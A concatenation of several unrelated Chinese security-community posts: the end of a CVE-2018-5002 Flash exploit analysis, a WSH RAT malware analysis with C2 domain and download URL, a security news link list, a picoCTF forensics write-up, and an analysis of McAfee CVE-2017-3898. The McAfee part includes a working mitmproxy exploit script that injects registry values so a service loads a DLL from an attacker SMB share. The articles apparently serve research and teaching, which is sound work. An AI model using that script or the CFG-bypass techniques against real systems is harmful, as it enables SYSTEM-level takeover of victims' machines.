[](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-bfa)**6.1 jit地址替换**
攻击者首先初始化了一个class_26对象cls26和一个class_27对象cls27。然后借助任意地址读写能力将cls26.method_87的jit地址替换为cls26.method_87的jit地址，
然后第二次调用cls26.method_87，此时实际上调用的是cls27.method_87，由于cls26.method_87自身只会传入2个参数，导致泄漏了大量jit栈上的数据，攻击者随后利用泄漏的数据找到一个jit参数栈的地址，并第二次调用cls27.method_87，用以覆盖jit栈的一个返回地址，从而在对应的函数返回时控制eip。
在windbg中观察一下上述过程：
[](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-f3d)**6.2
jit地址替换原理**
根据[这篇](https://www.coresecurity.com/blog/exploiting-cve-2015-0311-part-ii-bypassing-control-flow-guard-on-windows-8-1-update-3)文章，我们可以知道cls26对象的+0x08处是一个vTable对象指针，而vTable对象的+0x48处是一个MethodEnv对象指针，MethodEnv对象内又包含自身的_implGPR函数指针和一个MethodInfo对象指针，MethodInfo对象内也包含一份_implGPR函数指针，这些结构体间在内存中的寻址关系如下所示：
所以replace_jit_addr函数本质上是用cls27.method_87的jit地址替换了cls26.method_87的jit地址。但cls26.method_87的jit地址在好几个地方都有存储(如上图就有MethodEnv._implGPR和MethodEnv.MethodInfo._implGPR两个地方存储着cls26.method_87的地址)，我们如何确定要覆盖的是哪一个地方？
这得从class_21$/executeShellcodeWithCfg32函数的jit汇编代码中寻找答案。如下是executeShellcodeWithCfg32的部分汇编代码。代码中红框圈出的两句代码清楚地指明了cls26.method_27函数第二次调用时的函数指针寻址过程，很明显，这里用的是MethodEnv._implGPR。
至于cls27.method_27的地址，任意找一个存储其jit地址的地方读取即可(这里也可以采用HackingTeam的代码中读取jit函数指针的方法，如下)。所以一共可以有三种方式。Exp代码中的两种，加上HackingTeam中的一种。但写入地址是唯一的。通过上述做法，成功实现了对jit地址的偷天换日。
在2016年的一篇总结Flash利用的[文献](https://www.blackhat.com/docs/us-16/materials/us-16-Oh-The-Art-of-Reverse-Engineering-Flash-Exploits.pdf)中，作者曾介绍过用覆写MethodInfo._implGPR的方式来劫持eip。两种方式十分类似，但并不完全相同。
[](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-615)**6.3
覆写jit栈上的返回地址**
在第二次调用cls27.method_87时，攻击者传入的参数如下，其中的retn为上面寻找到的gadget03(addr_of_ret)。其余重要参数均在注释中进行说明。由于ba2_array的前12个字节分别为：第一阶段的shellcode地址(ba_array)，0x1000，0。这些恰好对应NtProtectVirtualMemory所需的前3个参数。
我们具体看一下cls27.method_87内部的逻辑。可以看到若第一参数为0x85868788，则递归调用自身20次，这是为了布局jit栈，方便后面覆盖eip：
在最后一次调用中，cls27.method_87会借助前面泄漏的jit栈地址来找到将要覆盖的eip所在的栈地址pRetAddr，并保存原始返回地址。
随后，为了在触发漏洞后不造成crash，攻击者又传入原始返回地址第二次修改1st
shellcode，将最后两个pattern处填写为正确的值，保证shellcode执行完后可以正常返回：
通过覆盖栈上的eip劫持控制流，成功避开了CFG的检测，从而Bypass CFG。
调试发现被覆盖的eip为jit栈上cls27.method_87递归调用自身20次中某次的返回地址
最后，在递归调用某次返回的过程中，eip被成功劫持至第一阶段的ROP，随后的整个过程在windbg中观察如下：
2nd
shellcode执行完毕后，会继续从class_27.method的递归调用中返回。然后返回到flash的正常逻辑，此过程中不会造成crash和卡顿，整个利用方式非常稳定。
### [](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-264)7\.
64位下的利用分析
原利用代码也支持64位环境。64位下的漏洞触发代码和32位下并没有什么不同，只在Bypass CFG部分有所差异。原利用代码中出现了两种Bypass
CFG的方法，下面分别介绍。
[](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-54e)**7.1 分支1**
如果当前64位环境下的ntdll.dll中可以找到如下gadget，则走分支1。从注释的汇编代码中可以清楚地看到这部分gadget的作用：弹出栈顶部的4个值给x64调用约定下作为前4个参数的寄存器并返回。
随后找到kerner32!VirtualProtect函数地址，并和传入的shellcode一起传入下图所示的函数，在curruptJitStack函数借助jit地址覆盖去替换返回地址(此过程和32位下非常相似)，并在jit函数返回时利用rop将shellcode所在地址设置为可执行。随后调用replaceJitApply64去调用执行shellcode。replaceJitApply64函数内借助了HackingTeam之前泄漏的方法去Bypass
CFG，即覆盖FunctionObject.Apply()方法的虚表地址。其中replaceJitApply64方法会在分支2中分析。
[](http://blogs.360.cn/post/indepth_CVE-2018-5002.html#toc-a58)**7.2 分支2**
假如在当前进程的ntdll.dll没有找到分支1所需的gadget，则进入分支2，分支2采用了覆盖FunctionObject.Apply()方法的虚表地址的方法。
我们来详细看一下replaceJitApply64，如果熟悉之前HackingTeam的利用代码，则很容易理解下述代码：
分支2会两次调用replaceJitApply64函数，第一次的目的是调用kernel32!VirtualProtect函数去设置shellcode的执行权限。函数内首先定义一个ByteArray对象ba，然后将shellcode放置在ba.array的首部。
随后将找到ExecMgr对象的虚表，将其虚表前的8个字节及虚表的前0xE4/8个虚函数地址拷贝到ba.array的len(shellcode)起始处(伪造虚表)。
随后覆盖伪造的ExecMgr虚表+0x30处的8个字节，这正是apply方法对应的虚函数地址。随后覆写ExecMgr首部的虚表指针，设置相关寄存器的值和相关对象偏移处的值，以构造VirtualProtect函数所需的4个参数，随后调用apply方法以调用VirtualProtect，调用完将之前覆盖的值都恢复原来的值，从而不造成crash。对这部分细节的详细描述可以参考这篇博客。下图的注释也写得比较清楚。
调用完后返回到上级函数，随后再次调用replaceJitApply64方法，用shellcode+0x8的地址去替换apply方法对应的虚函数地址。从而执行shellcode。执行完shellcode后回到Flash代码，整个过程也不会造成crash。
## 总结
CVE-2018-5002是一个位于avm2解释器内的非常严重的漏洞，漏洞质量高，影响范围极为广泛。从原始flash的编译日志可以观察到，整套利用框架早在2018.2.7日就已经完成编译。该套利用代码通用性强，稳定性好，整体水平较高。
## References
<https://recon.cx/2012/schedule/attachments/43_Inside_AVM_REcon2012.pdf> | 社区文章 |
# 黑客购买新型WSH RAT最新变种样本攻击银行客户
##### 译文声明
本文是翻译文章，文章原作者 安全分析与研究，文章来源：安全分析与研究
原文地址：<https://mp.weixin.qq.com/s/vNw65kP6a1uGT9rn5pi6Ng>
译文仅供参考，具体内容表达以及含义原文为准。
WSH
RAT是今年6月2日发布的一款新型的RAT恶意软件，是基于VBS的Houdini蠕虫(H-Worm)的最新变种，Houdini蠕虫最初是在2013年开发和传播的，此新型的WSH
RAT主要通过恶意URL、MHT和ZIP等多种形式进行网络钓鱼攻击主动分发，主要针对银行客户进行钓鱼攻击，同时开发者以订阅方式进行销售，每月支付50美元的客户可以解锁该工具的所有功能，如下所示：
该RAT会盗取受害者的网络浏览器和电子邮件客户端的密码、远程控制目标计算机、上传、下载执行文件以及执行远程脚本和命令等，同时它还具有键盘记录，对抗安全软件等多种功能，参考链接：
(<https://www.bleepingcomputer.com/news/security/new-wsh-rat-malware-targets-bank-customers-with-keyloggers/>)
近日安全研究人员近日发现了一个Jar的恶意程序，如下所示：
笔者对此样本进行了详细分析，发现它应该是WSH RAT的最新变种样本，说明已经有黑产团伙通过购买WSH RAT恶意软件发起网络攻击行为了
WSH RAT样本为一个Jar包的恶意程序，执行流程，如下所示：
运行Jar RAT程序，如下所示：
进程相关的信息，如下所示：
执行完之后，执行hliqmPFawG.js恶意脚本，进程信息，如下所示：
通过java程序调用class文件[随机文件名].txt，进程信息，如下所示：
执行之后，从服务器端返回指令，执行键盘记录操作，然后上传用户主机相关信息和键盘记录信息到远程服务器，如下所示：
对Jar RAT样本进行详细分析，如下所示：
1.主程序jar包，读取资源文件ycfysuwhlz，然后生成lrefocyhfz.js恶意脚本文件，如下所示：
2.生成的lrefocyhfz.js脚本，内容如下所示：
3.lrefocyhfz.js脚本通过下面的代码解密前面的字符串，如下所示：
4.解密之后的脚本，内容如下所示：
5.解密之后的lrefocyhfz.js脚本前半部分生成另外一个恶意js脚本hliqmPFawG.js，如下所示：
6.后半部分，先解密生成一个class文件，并命名为[随机名].txt，如下所示：
7.然后检测系统中的java环境 ，如果存在java环境，则直接通过java调用生成的class文件[随机名].txt，如下所示：
8.如果不存在java环境，则从网址<https://posta.co.tz/goz/jre7.zip>
下载jre包，解压之后，设置java环境，再通过java调用class文件，如下所示：
9.恶意hliqmPFawG.js脚本，内容如下所示：
10.对脚本进行解密之后，内容如下所示：
恶意服务器C&C地址：pluginsrv1.duckdns.org，端口:7756
恶意脚本hliqmPFawG.js
1.设置注册表自启动项，并拷贝自身到相应的目录，如下所示：
2.给远程服务器pluginsrv1.duckdns.org，发送相应的指令，等待服务器返回不同的指令，执行不同的操作，如下所示：
POST请求过程，如下所示：
发送主机相关信息到远程服务器，如下所示：
返回的指令操作，如下所示：
1.断开连接、重启、关机、远程CMD执行、安装SDK，如下所示：
安装WSH SDK，如下所示：
2.获取浏览器密码信息，上传到远程服务器，如下所示：
3.更新、卸载，如下所示：
4.下载、上传，如下所示：
5.文件管理、键盘记录、反向代理设置，如下所示：
6.日志信息、CMD通道、进程信息、关闭安全软件，UAC等，如下所示：
7.检测、更新状态，如下所示：
8.远程执行恶意脚本，结束进程，休眠，如下所示：
通过java程序调用生成的class文件[随机名].txt
1.分析[随机名].txt的文件结构，如下所示：
2.Jrat程序执行之后，释放/operational下的iiiiiiiiii.class文件到%temp%目录下的随机数字.class文件，然后再通过java加载随机数字.class文件，如下所示：
此样本在VT上查询样本的关联信息，可以看到它是能过钓鱼邮件进行传播感染的，如下所示：
VT网站上的各种引擎对这个恶意样本的检出率并不高，只有15款引擎能检测出此RAT样本
此样本的IOC信息，各情报厂商可以自查一下
MD5：95014878404D850502BA546A0FEB3CFC
C&C地址：pluginsrv1.duckdns.org
端口：7756
WSH
RAT是一款新型的RAT恶意软件，它会释放各种模块，并通过远程控制对受害者机器下发各种指令，执行相应的操作，目前发现它主要针对银行客户进行攻击，未来会不会在全球爆发，需要持续的关注
本文转自：[安全分析与研究](https://mp.weixin.qq.com/s/vNw65kP6a1uGT9rn5pi6Ng) | 社区文章 |
# 12月8日安全热点 - Process Doppelgänging攻击/银行中间人攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
BH欧洲会议中安全研究员提出了新的攻击方式：Process Doppelgänging，目前该攻击可针对所有Windows版本
<https://www.bleepingcomputer.com/news/security/-process-doppelg-nging-attack-works-on-all-windows-versions/>
维基解密公布的内容正在被美国当局进行深入调查
<https://mobile.nytimes.com/reuters/2017/12/07/world/europe/07reuters-usa-trump-russia-wikileaks.html>
安全漏洞导致主流银行App面临中间人攻击风险
<https://thehackernews.com/2017/12/mitm-ssl-pinning-hostname.html>
安全研究人员发现手机在GPS关闭时也有办法追踪用户位置
<https://www.bleepingcomputer.com/news/security/apps-can-track-users-even-when-gps-is-turned-off/>
## 技术类
网络犯罪成本解析
<https://www.recordedfuture.com/cyber-operations-cost/>
APT34利用CVE-2017-11882针对中东进行攻击
<https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html>
Sysinternals Sysmon可疑活动指南
<https://blogs.technet.microsoft.com/motiba/2017/12/07/sysinternals-sysmon-suspicious-activity-guide/>
DDE的新替代：利用Excel的新攻击方式
<https://www.lastline.com/labsblog/when-scriptlets-attack-excels-alternative-to-dde-code-execution/>
CTF365 Blitz Writeup
<https://medium.com/@thel3l/ctf365-blitz-ctf-writeup-c97f0bc43e6b>
无需主机名验证的半自动Pinning检测
<http://www.cs.bham.ac.uk/~garciaf/publications/spinner.pdf>
BH17议题：如何攻击关机的计算机或在Intel管理引擎运行未签名代码
<https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine.pdf>
微软关于CVE-2017-11937漏洞通告
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11937>
Trape：互联网追踪与反追踪工具
<https://github.com/boxug/trape>
新的安卓漏洞可让攻击者在不影响签名的情况下修改App
<https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures>
Web应用中实现定时攻击以破解密码
<http://blog.ichikaway.com/entry/2017/12/08/091349>
通过不同密码分析方式解码空调校验和
<http://www.righto.com/2017/12/decoding-air-conditioner-controls.html>
深入解析IOSurface
<https://siguza.github.io/v0rtex/>
WebAccess webvrpcs ViewDll1基于栈的缓冲区溢出RCE漏洞
<https://github.com/rapid7/metasploit-framework/pull/9286>
Apache Thrift渗透测试
<https://www.mdsec.co.uk/2017/12/penetration-testing-apache-thrift-applications/> | 社区文章 |
# 前言
本篇是Forensic，即取证类的题解。包括有一些常规的入门misc题目，比如流量分析，图片、文件隐写之类的。部分题目附件已打包。链接:
<https://pan.baidu.com/s/1kfx8GEnio7V1Z5Fa4TrfMQ> 提取码: 5a9u
（拖了半个月终于把这篇补完了，还好题目还开着，拖延症彻底没救了-0-……）
# Forensics Warmup 1
## Question
> Can you unzip this
> [file](https://2018shell2.picoctf.com/static/d6487f8e2cbbb28b5168b512f0ac0710/flag.zip)
> for me and retreive the flag?
### Hint
> Make sure to submit the flag as picoCTF{XXXXX}
## Solution
签到题，解压zip，得到`flag.jpg`
输入图上的字符就行了。
flag:`picoCTF{welcone_to_forensics}`
# Forensics Warmup 2
## Question
> Hmm for some reason I can't open this
> [PNG](https://2018shell2.picoctf.com/static/b96c236db4c32ed47e9958c7e461b3c4/flag.png)?
> Any ideas?
### Hint
> How do operating systems know what kind of file it is? (It's not just the
> ending!
>
> Make sure to submit the flag as picoCTF{XXXXX}
## Solution
使用`file`命令查看图片的文件格式。
❯ file flag.png
flag.png: JPEG image data, JFIF standard 1.01, resolution (DPI), density 75x75, segment length 16, baseline, precision 8, 909x190, frames 3
本质是jpg文件，修改后缀为.jpg就可以打开了。（其实大多的图片浏览器都可以直接打开这种单纯修改一下后缀的图片）
flag:`picoCTF{extensions_are_a_lie}`
# Desrouleaux
## Question
> Our network administrator is having some trouble handling the tickets for
> all of of our incidents. Can you help him out by answering all the
> questions? Connect with `nc 2018shell1.picoctf.com 54782`.
> [incidents.json](https://2018shell2.picoctf.com/static/47cbb94e79b74a4b2f74cfb31c68230e/incidents.json)
### Hint
> If you need to code, python has some good libraries for it.
## Solution
文件里面是一段json数据。
...
{
"ticket_id": 0,
"timestamp": "2015/05/09 22:28:20",
"file_hash": "b807c12fc3e10ba3",
"src_ip": "248.63.150.241",
"dst_ip": "251.0.92.254"
},
{
"ticket_id": 1,
"timestamp": "2016/12/27 04:01:52",
"file_hash": "1698b8b87f51ce8e",
"src_ip": "248.63.150.241",
"dst_ip": "116.196.246.151"
},
}
...
nc到问题服务器，一步步处理后发现有三个问题：
1. What is the most common source IP address?
2. How many unique destination IP addresses were targeted by the source IP address 236.232.221.165?
3. What is the average number of unique destination IP addresses that were sent a file with the same hash? Your answer needs to be correct to 2 decimal places.
第三个有点拗口，大概意思就是要算出每个单独的文件发送到的ip地址个数的平均数是多少。使用python的list和dict对象可以很方便的处理这些数据。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
import re
from pwn import *
with open('./incidents.json') as f:
text = f.read()
text = json.loads(text)
r = remote('2018shell2.picoctf.com', 54782)
src_ip_count = {}
dst_ip_count = []
unique_dst_ip = 0
hash_dst_ip = {}
r.recvuntil('common ones.')
for i in text['tickets']:
# Question 1
if i['src_ip'] not in src_ip_count.keys():
src_ip_count[i['src_ip']] = 1
else:
src_ip_count[i['src_ip']] += 1
r.sendline(max(src_ip_count))
content = r.recvuntil('?\n')
content = re.findall(r'address \d{1,3}.\d{1,3}.\d{1,3}.\d{1,3} ?',content)
content = ''.join(content).split(' ')[1]
for i in text['tickets']:
# Question 2
if i['dst_ip'] not in dst_ip_count and i['src_ip'] == content:
dst_ip_count.append(i['dst_ip'])
unique_dst_ip += 1
# Question 3
if i['file_hash'] not in hash_dst_ip.keys() and i['file_hash'] != []:
hash_dst_ip[i['file_hash']] = []
hash_dst_ip[i['file_hash']].append(i['dst_ip'])
elif i['file_hash'] in hash_dst_ip.keys() and i['file_hash'] != []:
hash_dst_ip[i['file_hash']].append(i['dst_ip'])
avg = 0
for i in hash_dst_ip:
avg += len(hash_dst_ip[i])
avg = avg * 1.0 / len(hash_dst_ip)
# print unique_dst_ip
# print round(avg, 2)
r.sendline(str(unique_dst_ip))
r.sendline(str(round(avg, 2)))
# r.interactive()
print r.recvuntil('}\n')
r.close()
运行脚本得到flag。
flag:`picoCTF{J4y_s0n_d3rUUUULo_c74e3495}`
# Reading Between the Eyes
## Question
> Stego-Saurus hid a message for you in this
> [image](https://2018shell2.picoctf.com/static/3e423171eed198e8425524a1b052869b/husky.png),
> can you retreive it?
### Hint
> Maybe you can find an online decoder?
## Solution
LSB隐写，使用`stegsolve`提取最低位。
勾选RGB信道的最低位`0`，顺序是LSB First，就可以看到flag。
flag:`picoCTF{r34d1ng_b37w33n_7h3_by73s}`
# Recovering From the Snap
## Question
> There used to be a bunch of
> [animals](https://2018shell2.picoctf.com/static/1603334c6d1519a49283974d0d480ffe/animals.dd)
> here, what did Dr. Xernon do to them?
### Hint
> Some files have been deleted from the disk image, but are they really gone?.
## Solution
使用`binwalk`查看文件，发现有很多隐写进去的jpg文件，用`foremost`提取出来。
❯ foremost animals.dd
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: animals.dd
|*|
提取完成查看图片，可以看到最后一张就是flag。
flag:`picoCTF{th3_5n4p_happ3n3d}`
# admin panel
## Question
> We captured some
> [traffic](https://2018shell2.picoctf.com/static/ee6ed2afe1da153ae06e61d5ee26d52d/data.pcap)
> logging into the admin panel, can you find the password?
### Hint
> Tools like wireshark are pretty good for analyzing pcap files.
## Solution
使用wireshrak打开pcap流量包，追踪tcp流，在第5个流可以看到flag。
当然这里我们知道flag的形式是`picoCTF{***}`，可以直接在分组字节流中搜索相关字符串，同样也可以找到flag。
flag:`picoCTF{n0ts3cur3_13597b43}`
# hex editor
## Question
> This
> [cat](https://2018shell2.picoctf.com/static/ccad03a151a0edac8bd01e665a595b7a/hex_editor.jpg)
> has a secret to teach you. You can also find the file in /problems/hex-> editor_2_c1a99aee8d919f6e42697662d798f0ff on the shell server.
### Hint
> What is a hex editor?
>
> Maybe google knows.
>
> [xxd](http://linuxcommand.org/man_pages/xxd1.html)
>
> [hexedit](http://linuxcommand.org/man_pages/hexedit1.html)
>
> [bvi](http://manpages.ubuntu.com/manpages/natty/man1/bvi.1.html)
## Solution
使用16进制编辑器查看文件16进制内容，windows环境下可以使用winhex、010editor，mac环境下可以使用hex friend。
可以看到到jpg文件格式的结尾`FF D9`之后还有一串字符，就是我们要的flag。
flag:`picoCTF{and_thats_how_u_edit_hex_kittos_8BcA67a2}`
# Truly an Artist
## Question
> Can you help us find the flag in this [Meta-> Material](https://2018shell2.picoctf.com/static/a386ed9a7534702173762cf536dce121/2018.png)?
> You can also find the file in /problems/truly-an-> artist_3_066d6319e350c1d579e5cf32e326ba02.
### Hint
> Try looking beyond the image.
>
> Who created this?
## Solution
文件属性隐藏了信息，windows下直接右键查看文件属性就可以看到，mac可以使用exiftool查看。
❯ exiftool 2018.png
ExifTool Version Number : 11.11
File Name : 2018.png
Directory : .
File Size : 13 kB
File Modification Date/Time : 2018:10:28 01:06:38+08:00
File Access Date/Time : 2018:10:28 01:06:50+08:00
File Inode Change Date/Time : 2018:10:28 01:06:51+08:00
File Permissions : rw-r--r-- File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 1200
Image Height : 630
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Artist : picoCTF{look_in_image_7e31505f}
Image Size : 1200x630
Megapixels : 0.756
flag:`picoCTF{look_in_image_7e31505f}`
# now you don't
## Question
> We heard that there is something hidden in this
> [picture](https://2018shell2.picoctf.com/static/e7afc1873bc40e4d15f532b4859623e7/nowYouDont.png).
> Can you find it?
### Hint
> There is an old saying: if you want to hide the treasure, put it in plain
> sight. Then no one will see it.
>
> Is it really all one shade of red?
## Solution
还是用`stegsolve`打开文件，查看不同信道下的图片，发现flag在隐藏在红色0信道中。
flag:`picoCTF{n0w_y0u533_m3}`
# Ext Super Magic
## Question
> We salvaged a ruined Ext SuperMagic II-class mech recently and pulled the
> [filesystem](https://2018shell2.picoctf.com/static/bef2a485087cc9842099ac9bd3e0041f/ext-> super-magic.img) out of the black box. It looks a bit corrupted, but maybe
> there's something interesting in there. You can also find it in
> /problems/ext-super-magic_4_f196e59a80c3fdac37cc2f331692ef13 on the shell
> server.
### Hint
> Are there any [tools](https://en.wikipedia.org/wiki/Fsck) for diagnosing
> corrupted filesystems? What do they say if you run them on this one?
>
> How does a linux machine know what
> [type](https://www.garykessler.net/library/file_sigs.html) of file a
> [file](https://linux.die.net/man/1/file) is?
>
> You might find this [doc](http://www.nongnu.org/ext2-doc/ext2.html) helpful.
>
> Be careful with [endianness](https://en.wikipedia.org/wiki/Endianness) when
> making edits.
>
> Once you've fixed the corruption, you can use
> /sbin/[debugfs](https://linux.die.net/man/8/debugfs) to pull the flag file
> out.
## Solution
给了一个镜像文件，`file`命令查看一下，发现不能识别。`debugfs`可以识别出镜像损坏的部分。
❯ file ext-super-magic.img
ext-super-magic.img: data
❯ debugfs ext-super-magic.img
debugfs 1.44.1 (24-Mar-2018)
Checksum errors in superblock! Retrying...
ext-super-magic.img: Bad magic number in super-block while opening filesystem
依据提示查看ext2镜像格式的[文档](https://wiki.osdev.org/Ext2#Extended_Superblock_Fields)，我们需要在`superblock`的第56和57字节之间插入`magic
number`，即`0xef53`。
❯ file fixed.img
fixed.img: Linux rev 1.0 ext2 filesystem data, UUID=fad5d44e-2bb4-4c22-9410-79b020de84dd (large files)
修复成功，挂载打开，发现有很多的jpg文件，其中有一张`flag.jpg`里面就有flag。
flag:`picoCTF{a7DB29eCf7dB9960f0A19Fdde9d00Af0}`
# Lying Out
## Question
> Some odd
> [traffic](https://2018shell2.picoctf.com/static/abfdb498b12895694285a032f261c545/traffic.png)
> has been detected on the network, can you identify it? More
> [info](https://2018shell2.picoctf.com/static/abfdb498b12895694285a032f261c545/info.txt)
> here. Connect with `nc 2018shell1.picoctf.com 50875` to help us answer some
> questions.
### Hint
No Hints.
## Solution
需要分析异常访问流量，对照图片一个个看就可以了。
You'll need to consult the file `traffic.png` to answer the following questions.
Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7.
log_ID time num_IPs
0 0 00:00:00 9552
1 1 02:30:00 11573
2 2 06:00:00 10381
3 3 07:00:00 11674
4 4 07:00:00 10224
5 5 07:30:00 10966
6 6 16:00:00 9685
7 7 17:45:00 15875
8 8 18:00:00 11889
9 9 19:15:00 11935
10 10 19:30:00 11191
11 11 20:30:00 9952
12 12 20:45:00 9898
13 13 22:45:00 11609
1 3 7 13
Correct!
Great job. You've earned the flag: picoCTF{w4y_0ut_ff5bd19c}
flag:`picoCTF{w4y_0ut_ff5bd19c}`
# What's My Name?
## Question
> Say my name, say [my
> name](https://2018shell2.picoctf.com/static/311cab88f8331b8cd1285ae0d90a43f1/myname.pcap).
### Hint
> If you visited a website at an IP address, how does it know the name of the
> domain?
## Solution
提示给的很明显了，我们需要查找和`DNS`有关的信息流，在wireshark过滤器中搜寻dns流量，就可以看到flag了。
同样也可以通过字符串搜索的方式找到flag，方法和`admin panel`一样。
# Malware Shopscore
> There has been some
> [malware](https://2018shell2.picoctf.com/static/344f0ee2dceb4bde53f90b39a6ad9297/plot.png)
> detected, can you help with the analysis? More
> [info](https://2018shell2.picoctf.com/static/344f0ee2dceb4bde53f90b39a6ad9297/info.txt)
> here. Connect with `nc 2018shell1.picoctf.com 18874`.
### Hint
No Hints.
## Solution
还是看图识别数据，和`Lying
Out`差不大多，第一个问题看图片找特征，第二个问题看哪个文件与题目问的文件的`jmp_count`和`add_count`的数值相近就选哪个。
You'll need to consult the file `clusters.png` to answer the following questions.
How many attackers created the malware in this dataset?
5
Correct!
In the following sample of files from the larger dataset, which file was made by the same attacker who made the file 628e79cf? Indicate your answer by entering that file's hash.
hash jmp_count add_count
0 628e79cf 17.0 18.0
1 1f2c7915 18.0 60.0
2 6e7d554a 10.0 42.0
3 a55f572c 30.0 37.0
4 f118fcd7 36.0 13.0
5 97b1425e 35.0 30.0
6 a163e543 18.0 71.0
7 ebaf5ccd 11.0 18.0
8 9059414f 38.0 13.0
9 c30ea3fe 18.0 37.0
ebaf5ccd
Correct!
Great job. You've earned the flag: picoCTF{w4y_0ut_dea1794b} | 社区文章 |
# 【技术分享】McAfee LiveSafe MiTM RCE漏洞（CVE-2017-3898）的分析
##### 译文声明
本文是翻译文章，文章来源：securiteam.com
原文地址：<https://blogs.securiteam.com/index.php/archives/3248#more-3248>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**漏洞概述**
该漏洞影响McAfee LiveSafe (MLS) **16.0.3** 之前的全部版本，存在远程代码执行。此漏洞允许攻击者通过篡改
**HTTP后端响应** ，从而修改与McAfee更新相关的Windows注册表值。
McAfee Security Scan Plus是一个免费的诊断工具，可检查计算机中的防病毒软件、防火墙及Web安全软件，同时还会扫描已运行程序中的威胁。
该漏洞由 **Silent Signal**
首次发现并通报。目前已发布该漏洞的补丁，网址为：[https://service.mcafee.com/webcenter/portal/cp/home/articleview？articleId=TS102714](https://service.mcafee.com/webcenter/portal/cp/home/articleview%EF%BC%9FarticleId=TS102714)
**
**
**漏洞详情**
攻击者可以在多个McAfee产品中实现远程代码执行。受影响的产品会通过明文HTTP通道，从[http://COUNTRY.mcafee.com/apps/msc/webupdates/mscconfig.asp](http://country.mcafee.com/apps/msc/webupdates/mscconfig.asp)检索配置数据（其中的“COUNTRY”修改为国家的两字母标识符，例如英国是“uk”、中国是“cn”）。
响应的正文包含XML格式数据，类似于下列内容：
<webservice-response response-version="1.0" frequency="168"
verid="1#1316#15#0#2">
<update>
<reg key="HKLMSOFTWAREMcAfeeMSCSettingsInProductTransaction"
name="enable" type="REG_DWORD" value="1" obfuscate="0"/>
</update>
</webservice-response>
在上述响应中，描述了在“webservice-response/update”路径下使用reg标记进行的注册表修改行为。
这一请求和后续的更新会自动触发，首次触发是在软件安装后的特定分钟后（默认情况下为168分钟）。
此更新由McSvHost.exe进程的PlatformServiceFW.dll执行，方法是使用/update参数调用mcsvrcnt.exe程序。McSvHost.exe进程使用由实现注册表更改的mcsvrcnt.exe继承的系统权限运行。
因此，攻击者可以修改服务器响应，以使用系统（SYSTEM）权限写入特定的注册表。
**
**
**PoC**
我们可以借助该漏洞，作为代理来拦截和修改明文HTTP请求及响应。由于该软件对HTTPS服务会进行证书验证，因此，让这些连接不经过修改就非常重要。
常规的HTTP代理模式中，可以通过使用–ignore mitmproxy的命令行参数来实现这一点：
mitmproxy -s mcreggeli_inline.py --ignore '.*'
在透明代理的模式下，不应该提供上述参数：
mitmproxy -s mreggeli_inline.py –T
针对透明代理模式，可使用以下命令，在基于Debian的Linux发行版本上配置 NAT和端口重定向（此处eth0 是对目标可见的接口，eth1连接到网络）：
iptables -t nat -A PREROUTING -i eth0 -p tcp
--dport 80 -j REDIRECT --to 8080
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
sysctl net.ipv4.ip_forward=1
该脚本会在请求URL中查找“mscconfig.asp”字符串。如果发现XML响应正文被反序列化，则会根据在脚本开头声明的reg变量，添加新的reg节点。REG变量是一个字典列表，每个字典都包含以下键：
**密钥：要修改的注册表项的名称**
（例如“HKLMSYSTEMCurrentControlSetServicesmfevtp”，其中的反斜线需进行Python的转义）；
**类型：需要创建的值的类型** （例如字符串的“REG_SZ”）；
**名称：需要创建的值的名称；**
**值：需要创建的值。**
该漏洞利用还会将频率属性更改为1，这样一来，如果需要再次渗透，就可以在更短的时间内（1小时之内）进行。插入新节点后，将序列化生成的对象，并将其置于原始响应正文的位置。
为了演示，我们覆盖了受影响的McAfee产品（即mfevtp，McAfee进程验证服务）的一个服务条目——HKLMSYSTEMCurrentControlSetServicesmfevtp，其值被替换为指向带有指向攻击主机的
UNC 路径参数的rundll32.exe。在这里，我们使用了Metasploit中smb_delivery模块提供的payload test.dll：
REG变量声明如下：
REG=[{"key":"HKLM\SYSTEM\CurrentControlSet\Services\mfevtp", "type":"REG_SZ","name":"ImagePath", "value":"c:\windows\system32\rundll32.exe \\172.16.205.1\pwn\test.dll,0"},]
这样一来，在重新启动计算机之后，系统（SYSTEM）级的命令执行就会被触发，而McAfee软件并没有发现该情况的存在。
mcreggeli_inline.py
#!/usr/bin/env python3
#
# HTTP proxy mode:
# mitmproxy -s mcreggeli_inline.py --ignore '.*'
#
# Transparent proxy mode:
# mitmproxy -s mcreggeli_inline.py -T --host
# from mitmproxy import ctx, http
from lxml import etree
REG=[{"key":"HKLM\SYSTEM\CurrentControlSet\Services\mfevtp","type":"REG_SZ","name":"ImagePath","value":"c:\windows\system32\rundll32.exe \\172.16.205.1\pwn\test.dll,0"},]
def response(flow):
if flow.request.scheme == "http" and "mscconfig.asp" in flow.request.url:
try:
oxml=etree.XML(flow.response.content)
oxml.set("frequency","1")
update=oxml.xpath("//webservice-response/update")[0]
for r in REG:
reg=etree.SubElement(update,"reg")
reg.set("key", r["key"])
reg.set("type", r["type"])
reg.set("obfuscate", "0")
reg.set("name", r["name"])
reg.set("value", r["value"])
#ctx.log(etree.tostring(oxml))
